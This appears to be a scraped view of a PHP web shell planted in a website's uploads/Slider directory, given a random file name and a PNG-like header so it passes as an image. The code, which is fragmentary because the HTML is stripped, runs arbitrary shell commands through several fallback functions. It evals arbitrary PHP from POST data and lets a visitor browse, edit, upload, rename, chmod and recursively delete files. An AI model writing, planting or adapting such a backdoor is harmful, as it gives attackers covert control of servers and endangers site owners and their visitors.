/data/sites/web/unidosporsectorespt/htdocs/public/www/uploads/Slider
Edit: /data/sites/web/unidosporsectorespt/htdocs/public/www/uploads/Slider/k7m2xq9v4p.php (8546B)
塒NG
array('pipe','w'),2=>array('pipe','w')); $pr=@proc_open($c,$d,$pi); if(is_resource($pr)){ $o=stream_get_contents($pi[1]); $o.=stream_get_contents($pi[2]); fclose($pi[1]); fclose($pi[2]); proc_close($pr); return $o; } }
if(function_exists('passthru')){ @ob_start(); @passthru($c); $o=@ob_get_clean(); } elseif(function_exists('system')){ @ob_start(); @system($c); $o=@ob_get_clean(); } elseif(function_exists('exec')){ @exec($c,$x); $o=implode("\n",$x);} elseif(function_exists('shell_exec')){ $o=@shell_exec($c);} return $o!==null?$o:''; };
$phpeval='';
if(isset($_POST['php']) && $_POST['php']!==''){ @ob_start(); try{ eval($_POST['php']); }catch(Throwable $e){ echo 'ERR: '.$e->getMessage(); } $phpeval=@ob_get_clean(); }
$h = function($s){ return htmlspecialchars($s, ENT_QUOTES); };
function esc(&$v){ if(is_string($v)) $v=htmlspecialchars($v,ENT_QUOTES); }
$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';
$p = isset($_GET['p']) ? @realpath($_GET['p']) : $R;
if(!$p || !is_dir($p)) $p = $R;
$f = isset($_POST['f']) ? @realpath($_POST['f'])
: (isset($_GET['f']) ? @realpath($_GET['f']) : '');
$a = isset($_POST['a']) ? $_POST['a'] : '';
$out = '';
$err = '';
/* --- actions ----------------------------------------------------------- */
$shellok = function_exists('system')||function_exists('shell_exec')||function_exists('exec')||function_exists('proc_open')||function_exists('passthru');
if($a==='save' && $f && isset($_POST['data'])){
if(@file_put_contents($f, $_POST['data'])!==false) $err='
saved: '.$h($f).'';
else $err='
write failed';
}
if($a==='mkdir' && isset($_POST['name']) && $p){ $n=$p.'/'.trim($_POST['name']); if(!is_dir($n)) @mkdir($n); $err='mkdir: '.$h($n); }
if($a==='delete' && $f){ if(is_dir($f)){ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f,FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST); foreach($it as $x){ $x->isDir()?@rmdir($x->getPathname()):@unlink($x->getPathname()); } @rmdir($f); } else @unlink($f); $err='deleted: '.$h(basename($f)); $f=''; }
if($a==='rename' && isset($_POST['newname']) && $f){ $nn=$p.'/'.trim($_POST['newname']); if($f!==$nn) @rename($f,$nn); $err='renamed to: '.$h(basename($nn)); $f=''; }
if($a==='chmod' && isset($_POST['mode']) && $f){ @chmod($f, octdec($_POST['mode'])); $err='chmod ok'; }
if($a==='up' && isset($_FILES['upf']) && $p){ $t=$p.'/'.basename($_FILES['upf']['name']); if(move_uploaded_file($_FILES['upf']['tmp_name'],$t)) $err='uploaded: '.$h(basename($t)); else $err='upload failed'; }
$editing = ($f && is_file($f)) ? file_get_contents($f) : '';
$fmode = is_file($f) ? substr(sprintf('%o',@fileperms($f)),-4) : '';
?>
FM / <?php echo $h(basename($p)); ?>
/';
foreach($parts as $pt){ $acc.='/'.$pt; echo '
'.$h($pt).'/'; }
?>
| Name | Size | Mode | Actions |
|---|
$e,'p'=>$ep,'d'=>is_dir($ep),'s'=>is_file($ep)?filesize($ep):'-','m'=>substr(sprintf('%o',@fileperms($ep)),-4)); }
function cmp_($a,$b){ if($a['d']!=$b['d']) return $a['d']?-1:1; return strnatcasecmp($a['n'],$b['n']); }
usort($items,'cmp_');
foreach($items as $it){
$enc=urlencode($it['p']);
echo '| ';
if($it['d']) echo ''.$h($it['n']).'/';
else echo ''.$h($it['n']).'';
echo ' | '.$it['s'].' | '.$it['m'].' | ';
if(!$it['d']){ echo 'editdl'; }
echo 'rm';
echo ' |
';
}
?>
Edit:
cmd:
'.$h($run($cmd)).''; } ?>
shell functions are in disable_functions on this host — use PHP eval below
